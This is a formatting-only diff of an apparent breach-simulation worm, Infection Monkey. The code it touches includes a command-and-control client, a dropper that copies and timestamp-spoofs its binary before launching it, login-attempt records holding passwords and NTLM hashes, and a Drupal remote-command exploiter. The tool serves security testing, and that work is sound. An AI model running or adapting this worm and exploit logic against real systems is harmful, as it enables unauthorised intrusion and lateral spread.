+ aws_session_token = "" # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds @@ -258,7 +253,16 @@ def hash_sensitive_data(sensitive_data): # Timeout (in seconds) for sambacry's trigger to yield results. sambacry_trigger_timeout = 5 # Folder paths to guess share lies inside. - sambacry_folder_paths_to_guess = ['/', '/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '/home'] + sambacry_folder_paths_to_guess = [ + "/", + "/mnt", + "/tmp", + "/storage", + "/export", + "/share", + "/shares", + "/home", + ] # Shares to not check if they're writable. sambacry_shares_not_to_check = ["IPC$", "print$"] diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 611166afaf2..19428b17a90 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -9,9 +9,11 @@ import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel -from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT, - MEDIUM_REQUEST_TIMEOUT, - SHORT_REQUEST_TIMEOUT) +from common.common_consts.timeouts import ( + LONG_REQUEST_TIMEOUT, + MEDIUM_REQUEST_TIMEOUT, + SHORT_REQUEST_TIMEOUT, +) from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import check_internet_access, local_ips @@ -19,7 +21,7 @@ from infection_monkey.transport.tcp import TcpProxy from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException -__author__ = 'hoffer' +__author__ = "hoffer" requests.packages.urllib3.disable_warnings() @@ -49,27 +51,34 @@ def wakeup(parent=None, has_internet_access=None): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} + monkey = { + "guid": GUID, + "hostname": hostname, + "ip_addresses": local_ips(), + "description": " ".join(platform.uname()), + "internet_access": has_internet_access, + "config": WormConfiguration.as_dict(), + "parent": parent, + } if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') + monkey["tunnel"] = ControlClient.proxies.get("https") - requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + requests.post( + "https://%s/api/monkey" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(monkey), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=20, + ) @staticmethod def find_server(default_tunnel=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + LOG.debug( + "Trying to wake up with Monkey Island servers list: %r" + % WormConfiguration.command_servers + ) if default_tunnel: LOG.debug("default_tunnel: %s" % (default_tunnel,)) @@ -83,10 +92,12 @@ def find_server(default_tunnel=None): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - requests.get(f"https://{server}/api?action=is-up", # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=TIMEOUT_IN_SECONDS) + requests.get( + f"https://{server}/api?action=is-up", # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=TIMEOUT_IN_SECONDS, + ) WormConfiguration.current_server = current_server break @@ -105,7 +116,7 @@ def find_server(default_tunnel=None): if proxy_find: proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) - ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) + ControlClient.proxies["https"] = "https://%s:%s" % (proxy_address, proxy_port) return ControlClient.find_server() else: LOG.info("No tunnel found") @@ -118,74 +129,97 @@ def keepalive(): try: monkey = {} if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') - requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + monkey["tunnel"] = ControlClient.proxies.get("https") + requests.patch( + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps(monkey), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return {} @staticmethod def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: - LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) + LOG.error( + "Trying to send %s telemetry before current server is established, aborting." + % telem_category + ) return try: - telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': json_data} - requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + telemetry = {"monkey_guid": GUID, "telem_category": telem_category, "data": json_data} + requests.post( + "https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(telemetry), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) @staticmethod def send_log(log): if not WormConfiguration.current_server: return try: - telemetry = {'monkey_guid': GUID, 'log': json.dumps(log)} - requests.post("https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(telemetry), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + telemetry = {"monkey_guid": GUID, "log": json.dumps(log)} + requests.post( + "https://%s/api/log" % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(telemetry), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) @staticmethod def load_control_config(): if not WormConfiguration.current_server: return try: - reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + reply = requests.get( + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return try: - unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) - LOG.info("New configuration was loaded from server: %r" % - (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),)) + unknown_variables = WormConfiguration.from_kv(reply.json().get("config")) + LOG.info( + "New configuration was loaded from server: %r" + % (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),) + ) except Exception as exc: # we don't continue with default conf here because it might be dangerous - LOG.error("Error parsing JSON reply from control server %s (%s): %s", - WormConfiguration.current_server, reply._content, exc) + LOG.error( + "Error parsing JSON reply from control server %s (%s): %s", + WormConfiguration.current_server, + reply._content, + exc, + ) raise Exception("Couldn't load from from server's configuration, aborting. %s" % exc) if unknown_variables: @@ -196,14 +230,19 @@ def send_config_error(): if not WormConfiguration.current_server: return try: - requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 - data=json.dumps({'config_error': True}), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) + requests.patch( + "https://%s/api/monkey/%s" + % (WormConfiguration.current_server, GUID), # noqa: DUO123 + data=json.dumps({"config_error": True}), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return {} @staticmethod @@ -221,7 +260,8 @@ def download_monkey_exe(host): @staticmethod def download_monkey_exe_by_os(is_windows, is_32bit): filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict( - ControlClient.spoof_host_os_info(is_windows, is_32bit)) + ControlClient.spoof_host_os_info(is_windows, is_32bit) + ) if filename is None: return None return ControlClient.download_monkey_exe_by_filename(filename, size) @@ -241,14 +281,7 @@ def spoof_host_os_info(is_windows, is_32bit): else: arch = "x86_64" - return \ - { - "os": - { - "type": os, - "machine": arch - } - } + return {"os": {"type": os, "machine": arch}} @staticmethod def download_monkey_exe_by_filename(filename, size): @@ -259,13 +292,15 @@ def download_monkey_exe_by_filename(filename, size): if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): return dest_file else: - download = requests.get("https://%s/api/monkey/download/%s" % # noqa: DUO123 - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=MEDIUM_REQUEST_TIMEOUT) - - with monkeyfs.open(dest_file, 'wb') as file_obj: + download = requests.get( + "https://%s/api/monkey/download/%s" + % (WormConfiguration.current_server, filename), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) + + with monkeyfs.open(dest_file, "wb") as file_obj: for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): if chunk: file_obj.write(chunk) @@ -274,8 +309,9 @@ def download_monkey_exe_by_filename(filename, size): return dest_file except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) @staticmethod def get_monkey_exe_filename_and_size_by_host(host): @@ -286,24 +322,29 @@ def get_monkey_exe_filename_and_size_by_host_dict(host_dict): if not WormConfiguration.current_server: return None, None try: - reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,), # noqa: DUO123 - data=json.dumps(host_dict), - headers={'content-type': 'application/json'}, - verify=False, proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT) + reply = requests.post( + "https://%s/api/monkey/download" + % (WormConfiguration.current_server,), # noqa: DUO123 + data=json.dumps(host_dict), + headers={"content-type": "application/json"}, + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, + ) if 200 == reply.status_code: result_json = reply.json() - filename = result_json.get('filename') + filename = result_json.get("filename") if not filename: return None, None - size = result_json.get('size') + size = result_json.get("size") return filename, size else: return None, None except Exception as exc: - LOG.warning("Error connecting to control server %s: %s", - WormConfiguration.current_server, exc) + LOG.warning( + "Error connecting to control server %s: %s", WormConfiguration.current_server, exc + ) return None, None @@ -312,11 +353,11 @@ def create_control_tunnel(): if not WormConfiguration.current_server: return None - my_proxy = ControlClient.proxies.get('https', '').replace('https://', '') + my_proxy = ControlClient.proxies.get("https", "").replace("https://", "") if my_proxy: proxy_class = TcpProxy try: - target_addr, target_port = my_proxy.split(':', 1) + target_addr, target_port = my_proxy.split(":", 1) target_port = int(target_port) except ValueError: return None @@ -329,34 +370,43 @@ def create_control_tunnel(): @staticmethod def get_pba_file(filename): try: - return requests.get(PBA_FILE_DOWNLOAD % # noqa: DUO123 - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies, - timeout=LONG_REQUEST_TIMEOUT) + return requests.get( + PBA_FILE_DOWNLOAD % (WormConfiguration.current_server, filename), # noqa: DUO123 + verify=False, + proxies=ControlClient.proxies, + timeout=LONG_REQUEST_TIMEOUT, + ) except requests.exceptions.RequestException: return False @staticmethod def get_T1216_pba_file(): try: - return requests.get(urljoin(f"https://{WormConfiguration.current_server}/", # noqa: DUO123 - T1216_PBA_FILE_DOWNLOAD_PATH), - verify=False, - proxies=ControlClient.proxies, - stream=True, - timeout=MEDIUM_REQUEST_TIMEOUT) + return requests.get( + urljoin( + f"https://{WormConfiguration.current_server}/", # noqa: DUO123 + T1216_PBA_FILE_DOWNLOAD_PATH, + ), + verify=False, + proxies=ControlClient.proxies, + stream=True, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) except requests.exceptions.RequestException: return False @staticmethod def should_monkey_run(vulnerable_port: str) -> bool: - if vulnerable_port and \ - WormConfiguration.get_hop_distance_to_island() > 1 and \ - ControlClient.can_island_see_port(vulnerable_port) and \ - WormConfiguration.started_on_island: - raise PlannedShutdownException("Monkey shouldn't run on current machine " - "(it will be exploited later with more depth).") + if ( + vulnerable_port + and WormConfiguration.get_hop_distance_to_island() > 1 + and ControlClient.can_island_see_port(vulnerable_port) + and WormConfiguration.started_on_island + ): + raise PlannedShutdownException( + "Monkey shouldn't run on current machine " + "(it will be exploited later with more depth)." + ) return True @staticmethod @@ -365,13 +415,15 @@ def can_island_see_port(port): url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}" response = requests.get(url, verify=False, timeout=SHORT_REQUEST_TIMEOUT) response = json.loads(response.content.decode()) - return response['status'] == "port_visible" + return response["status"] == "port_visible" except requests.exceptions.RequestException: return False @staticmethod def report_start_on_island(): - requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", - data=json.dumps({'started_on_island': True}), - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT) + requests.post( + f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island", + data=json.dumps({"started_on_island": True}), + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 9b374c9f165..74c20321b27 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -13,7 +13,11 @@ from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly -from infection_monkey.model import GENERAL_CMDLINE_LINUX, MONKEY_CMDLINE_LINUX, MONKEY_CMDLINE_WINDOWS +from infection_monkey.model import ( + GENERAL_CMDLINE_LINUX, + MONKEY_CMDLINE_LINUX, + MONKEY_CMDLINE_WINDOWS, +) from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem @@ -29,7 +33,7 @@ # noinspection PyShadowingBuiltins WindowsError = IOError -__author__ = 'itamar' +__author__ = "itamar" LOG = logging.getLogger(__name__) @@ -39,108 +43,141 @@ class MonkeyDrops(object): def __init__(self, args): arg_parser = argparse.ArgumentParser() - arg_parser.add_argument('-p', '--parent') - arg_parser.add_argument('-t', '--tunnel') - arg_parser.add_argument('-s', '--server') - arg_parser.add_argument('-d', '--depth', type=int) - arg_parser.add_argument('-l', '--location') - arg_parser.add_argument('-vp', '--vulnerable-port') + arg_parser.add_argument("-p", "--parent") + arg_parser.add_argument("-t", "--tunnel") + arg_parser.add_argument("-s", "--server") + arg_parser.add_argument("-d", "--depth", type=int) + arg_parser.add_argument("-l", "--location") + arg_parser.add_argument("-vp", "--vulnerable-port") self.monkey_args = args[1:] self.opts, _ = arg_parser.parse_known_args(args) - self._config = {'source_path': os.path.abspath(sys.argv[0]), - 'destination_path': self.opts.location} + self._config = { + "source_path": os.path.abspath(sys.argv[0]), + "destination_path": self.opts.location, + } def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): - if self._config['destination_path'] is None: + if self._config["destination_path"] is None: LOG.error("No destination path specified") return False # we copy/move only in case path is different try: - file_moved = filecmp.cmp(self._config['source_path'], self._config['destination_path']) + file_moved = filecmp.cmp(self._config["source_path"], self._config["destination_path"]) except OSError: file_moved = False - if not file_moved and os.path.exists(self._config['destination_path']): - os.remove(self._config['destination_path']) + if not file_moved and os.path.exists(self._config["destination_path"]): + os.remove(self._config["destination_path"]) # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: - shutil.move(self._config['source_path'], - self._config['destination_path']) + shutil.move(self._config["source_path"], self._config["destination_path"]) - LOG.info("Moved source file '%s' into '%s'", - self._config['source_path'], self._config['destination_path']) + LOG.info( + "Moved source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], + ) file_moved = True except (WindowsError, IOError, OSError) as exc: - LOG.debug("Error moving source file '%s' into '%s': %s", - self._config['source_path'], self._config['destination_path'], - exc) + LOG.debug( + "Error moving source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, + ) # if file still need to change path, copy it if not file_moved: try: - shutil.copy(self._config['source_path'], - self._config['destination_path']) + shutil.copy(self._config["source_path"], self._config["destination_path"]) - LOG.info("Copied source file '%s' into '%s'", - self._config['source_path'], self._config['destination_path']) + LOG.info( + "Copied source file '%s' into '%s'", + self._config["source_path"], + self._config["destination_path"], + ) except (WindowsError, IOError, OSError) as exc: - LOG.error("Error copying source file '%s' into '%s': %s", - self._config['source_path'], self._config['destination_path'], - exc) + LOG.error( + "Error copying source file '%s' into '%s': %s", + self._config["source_path"], + self._config["destination_path"], + exc, + ) return False if WormConfiguration.dropper_set_date: - if sys.platform == 'win32': - dropper_date_reference_path = os.path.expandvars(WormConfiguration.dropper_date_reference_path_windows) + if sys.platform == "win32": + dropper_date_reference_path = os.path.expandvars( + WormConfiguration.dropper_date_reference_path_windows + ) else: dropper_date_reference_path = WormConfiguration.dropper_date_reference_path_linux try: ref_stat = os.stat(dropper_date_reference_path) except OSError: - LOG.warning("Cannot set reference date using '%s', file not found", - dropper_date_reference_path) + LOG.warning( + "Cannot set reference date using '%s', file not found", + dropper_date_reference_path, + ) else: try: - os.utime(self._config['destination_path'], - (ref_stat.st_atime, ref_stat.st_mtime)) + os.utime( + self._config["destination_path"], (ref_stat.st_atime, ref_stat.st_mtime) + ) except OSError: LOG.warning("Cannot set reference date to destination file") - monkey_options = \ - build_monkey_commandline_explicitly(parent=self.opts.parent, - tunnel=self.opts.tunnel, - server=self.opts.server, - depth=self.opts.depth, - location=None, - vulnerable_port=self.opts.vulnerable_port) + monkey_options = build_monkey_commandline_explicitly( + parent=self.opts.parent, + tunnel=self.opts.tunnel, + server=self.opts.server, + depth=self.opts.depth, + location=None, + vulnerable_port=self.opts.vulnerable_port, + ) if OperatingSystem.Windows == SystemInfoCollector.get_os(): - monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options + monkey_cmdline = ( + MONKEY_CMDLINE_WINDOWS % {"monkey_path": self._config["destination_path"]} + + monkey_options + ) else: - dest_path = self._config['destination_path'] + dest_path = self._config["destination_path"] # In linux we have a more complex commandline. There's a general outer one, and the inner one which actually # runs the monkey - inner_monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options - monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], - 'monkey_commandline': inner_monkey_cmdline} - - monkey_process = subprocess.Popen(monkey_cmdline, shell=True, - stdin=subprocess.PIPE, - stdout=subprocess.PIPE, - stderr=subprocess.PIPE, - close_fds=True, creationflags=DETACHED_PROCESS) - - LOG.info("Executed monkey process (PID=%d) with command line: %s", - monkey_process.pid, monkey_cmdline) + inner_monkey_cmdline = ( + MONKEY_CMDLINE_LINUX % {"monkey_filename": dest_path.split("/")[-1]} + + monkey_options + ) + monkey_cmdline = GENERAL_CMDLINE_LINUX % { + "monkey_directory": dest_path[0 : dest_path.rfind("/")], + "monkey_commandline": inner_monkey_cmdline, + } + + monkey_process = subprocess.Popen( + monkey_cmdline, + shell=True, + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + close_fds=True, + creationflags=DETACHED_PROCESS, + ) + + LOG.info( + "Executed monkey process (PID=%d) with command line: %s", + monkey_process.pid, + monkey_cmdline, + ) time.sleep(3) if monkey_process.poll() is not None: @@ -150,25 +187,35 @@ def cleanup(self): LOG.info("Cleaning up the dropper") try: - if (self._config['source_path'].lower() != self._config['destination_path'].lower()) and \ - os.path.exists(self._config['source_path']) and \ - WormConfiguration.dropper_try_move_first: + if ( + (self._config["source_path"].lower() != self._config["destination_path"].lower()) + and os.path.exists(self._config["source_path"]) + and WormConfiguration.dropper_try_move_first + ): # try removing the file first try: - os.remove(self._config['source_path']) + os.remove(self._config["source_path"]) except Exception as exc: - LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc) + LOG.debug( + "Error removing source file '%s': %s", self._config["source_path"], exc + ) # mark the file for removal on next boot - dropper_source_path_ctypes = c_char_p(self._config['source_path']) - if 0 == ctypes.windll.kernel32.MoveFileExA(dropper_source_path_ctypes, None, - MOVEFILE_DELAY_UNTIL_REBOOT): - LOG.debug("Error marking source file '%s' for deletion on next boot (error %d)", - self._config['source_path'], ctypes.windll.kernel32.GetLastError()) + dropper_source_path_ctypes = c_char_p(self._config["source_path"]) + if 0 == ctypes.windll.kernel32.MoveFileExA( + dropper_source_path_ctypes, None, MOVEFILE_DELAY_UNTIL_REBOOT + ): + LOG.debug( + "Error marking source file '%s' for deletion on next boot (error %d)", + self._config["source_path"], + ctypes.windll.kernel32.GetLastError(), + ) else: - LOG.debug("Dropper source file '%s' is marked for deletion on next boot", - self._config['source_path']) + LOG.debug( + "Dropper source file '%s' is marked for deletion on next boot", + self._config["source_path"], + ) T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send() LOG.info("Dropper cleanup complete") diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 59d593b09c4..e5bdf6dfe95 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -8,7 +8,7 @@ from infection_monkey.config import WormConfiguration from infection_monkey.utils.plugins.plugin import Plugin -__author__ = 'itamar' +__author__ = "itamar" logger = logging.getLogger(__name__) @@ -48,31 +48,42 @@ def _EXPLOITED_SERVICE(self): def __init__(self, host): self._config = WormConfiguration - self.exploit_info = {'display_name': self._EXPLOITED_SERVICE, - 'started': '', - 'finished': '', - 'vulnerable_urls': [], - 'vulnerable_ports': [], - 'executed_cmds': []} + self.exploit_info = { + "display_name": self._EXPLOITED_SERVICE, + "started": "", + "finished": "", + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + } self.exploit_attempts = [] self.host = host def set_start_time(self): - self.exploit_info['started'] = datetime.now().isoformat() + self.exploit_info["started"] = datetime.now().isoformat() def set_finish_time(self): - self.exploit_info['finished'] = datetime.now().isoformat() + self.exploit_info["finished"] = datetime.now().isoformat() def is_os_supported(self): - return self.host.os.get('type') in self._TARGET_OS_TYPE + return self.host.os.get("type") in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): from infection_monkey.telemetry.exploit_telem import ExploitTelem + ExploitTelem(self, result).send() - def report_login_attempt(self, result, user, password='', lm_hash='', ntlm_hash='', ssh_key=''): - self.exploit_attempts.append({'result': result, 'user': user, 'password': password, - 'lm_hash': lm_hash, 'ntlm_hash': ntlm_hash, 'ssh_key': ssh_key}) + def report_login_attempt(self, result, user, password="", lm_hash="", ntlm_hash="", ssh_key=""): + self.exploit_attempts.append( + { + "result": result, + "user": user, + "password": password, + "lm_hash": lm_hash, + "ntlm_hash": ntlm_hash, + "ssh_key": ssh_key, + } + ) def exploit_host(self): self.pre_exploit() @@ -80,9 +91,9 @@ def exploit_host(self): try: result = self._exploit_host() except FailedExploitationError as e: - logger.debug(f'Exploiter failed: {e}.') + logger.debug(f"Exploiter failed: {e}.") except Exception: - logger.error('Exception in exploit_host', exc_info=True) + logger.error("Exception in exploit_host", exc_info=True) finally: self.post_exploit() return result @@ -98,10 +109,10 @@ def _exploit_host(self): raise NotImplementedError() def add_vuln_url(self, url): - self.exploit_info['vulnerable_urls'].append(url) + self.exploit_info["vulnerable_urls"].append(url) def add_vuln_port(self, port): - self.exploit_info['vulnerable_ports'].append(port) + self.exploit_info["vulnerable_ports"].append(port) def add_executed_cmd(self, cmd): """ @@ -109,5 +120,4 @@ def add_executed_cmd(self, cmd): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info['executed_cmds'].append( - {'cmd': cmd, 'powershell': powershell}) + self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) diff --git a/monkey/infection_monkey/exploit/drupal.py b/monkey/infection_monkey/exploit/drupal.py index 04b0ce4312e..efbbc2f5608 100644 --- a/monkey/infection_monkey/exploit/drupal.py +++ b/monkey/infection_monkey/exploit/drupal.py @@ -9,20 +9,19 @@ import requests -from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT, - MEDIUM_REQUEST_TIMEOUT) +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.network.network_utils import remove_port from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import ID_STRING -__author__ = 'Ophir Harpaz' +__author__ = "Ophir Harpaz" LOG = logging.getLogger(__name__) class DrupalExploiter(WebRCE): - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Drupal Server' + _TARGET_OS_TYPE = ["linux", "windows"] + _EXPLOITED_SERVICE = "Drupal Server" def __init__(self, host): super(DrupalExploiter, self).__init__(host) @@ -34,9 +33,11 @@ def get_exploit_config(self): :return: the Drupal exploit config """ exploit_config = super(DrupalExploiter, self).get_exploit_config() - exploit_config['url_extensions'] = ['node/', # In Linux, no path is added - 'drupal/node/'] # However, Bitnami installations are under /drupal - exploit_config['dropper'] = True + exploit_config["url_extensions"] = [ + "node/", # In Linux, no path is added + "drupal/node/", + ] # However, Bitnami installations are under /drupal + exploit_config["dropper"] = True return exploit_config def add_vulnerable_urls(self, potential_urls, stop_checking=False): @@ -51,17 +52,19 @@ def add_vulnerable_urls(self, potential_urls, stop_checking=False): try: node_ids = find_exploitbale_article_ids(url) if node_ids is None: - LOG.info('Could not find a Drupal node to attack') + LOG.info("Could not find a Drupal node to attack") continue for node_id in node_ids: node_url = urljoin(url, str(node_id)) if self.check_if_exploitable(node_url): - self.add_vuln_url(url) # This is for report. Should be refactored in the future + self.add_vuln_url( + url + ) # This is for report. Should be refactored in the future self.vulnerable_urls.append(node_url) if stop_checking: break except Exception as e: # We still don't know which errors to expect - LOG.error(f'url {url} failed in exploitability check: {e}') + LOG.error(f"url {url} failed in exploitability check: {e}") if not self.vulnerable_urls: LOG.info("No vulnerable urls found") @@ -75,35 +78,39 @@ def check_if_exploitable(self, url): """ payload = build_exploitability_check_payload(url) - response = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=MEDIUM_REQUEST_TIMEOUT) + response = requests.get( + f"{url}?_format=hal_json", # noqa: DUO123 + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=MEDIUM_REQUEST_TIMEOUT, + ) if is_response_cached(response): - LOG.info(f'Checking if node {url} is vuln returned cache HIT, ignoring') + LOG.info(f"Checking if node {url} is vuln returned cache HIT, ignoring") return False - return 'INVALID_VALUE does not correspond to an entity on this site' in response.text + return "INVALID_VALUE does not correspond to an entity on this site" in response.text def exploit(self, url, command): # pad a easy search replace output: - cmd = f'echo {ID_STRING} && {command}' + cmd = f"echo {ID_STRING} && {command}" base = remove_port(url) payload = build_cmd_execution_payload(base, cmd) - r = requests.get(f'{url}?_format=hal_json', # noqa: DUO123 - json=payload, - headers={"Content-Type": "application/hal+json"}, - verify=False, - timeout=LONG_REQUEST_TIMEOUT) + r = requests.get( + f"{url}?_format=hal_json", # noqa: DUO123 + json=payload, + headers={"Content-Type": "application/hal+json"}, + verify=False, + timeout=LONG_REQUEST_TIMEOUT, + ) if is_response_cached(r): - LOG.info(f'Exploiting {url} returned cache HIT, may have failed') + LOG.info(f"Exploiting {url} returned cache HIT, may have failed") if ID_STRING not in r.text: - LOG.warning('Command execution _may_ have failed') + LOG.warning("Command execution _may_ have failed") result = r.text.split(ID_STRING)[-1] return result @@ -126,14 +133,16 @@ def are_vulnerable_urls_sufficient(self): num_available_urls = len(self.vulnerable_urls) result = num_available_urls >= num_urls_needed_for_full_exploit if not result: - LOG.info(f'{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server ' - f'but only {num_available_urls} found') + LOG.info( + f"{num_urls_needed_for_full_exploit} URLs are needed to fully exploit a Drupal server " + f"but only {num_available_urls} found" + ) return result def is_response_cached(r: requests.Response) -> bool: """ Check if a response had the cache header. """ - return 'X-Drupal-Cache' in r.headers and r.headers['X-Drupal-Cache'] == 'HIT' + return "X-Drupal-Cache" in r.headers and r.headers["X-Drupal-Cache"] == "HIT" def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100) -> set: @@ -141,12 +150,12 @@ def find_exploitbale_article_ids(base_url: str, lower: int = 1, upper: int = 100 articles = set() while lower < upper: node_url = urljoin(base_url, str(lower)) - response = requests.get(node_url, - verify=False, - timeout=LONG_REQUEST_TIMEOUT) # noqa: DUO123 + response = requests.get( + node_url, verify=False, timeout=LONG_REQUEST_TIMEOUT + ) 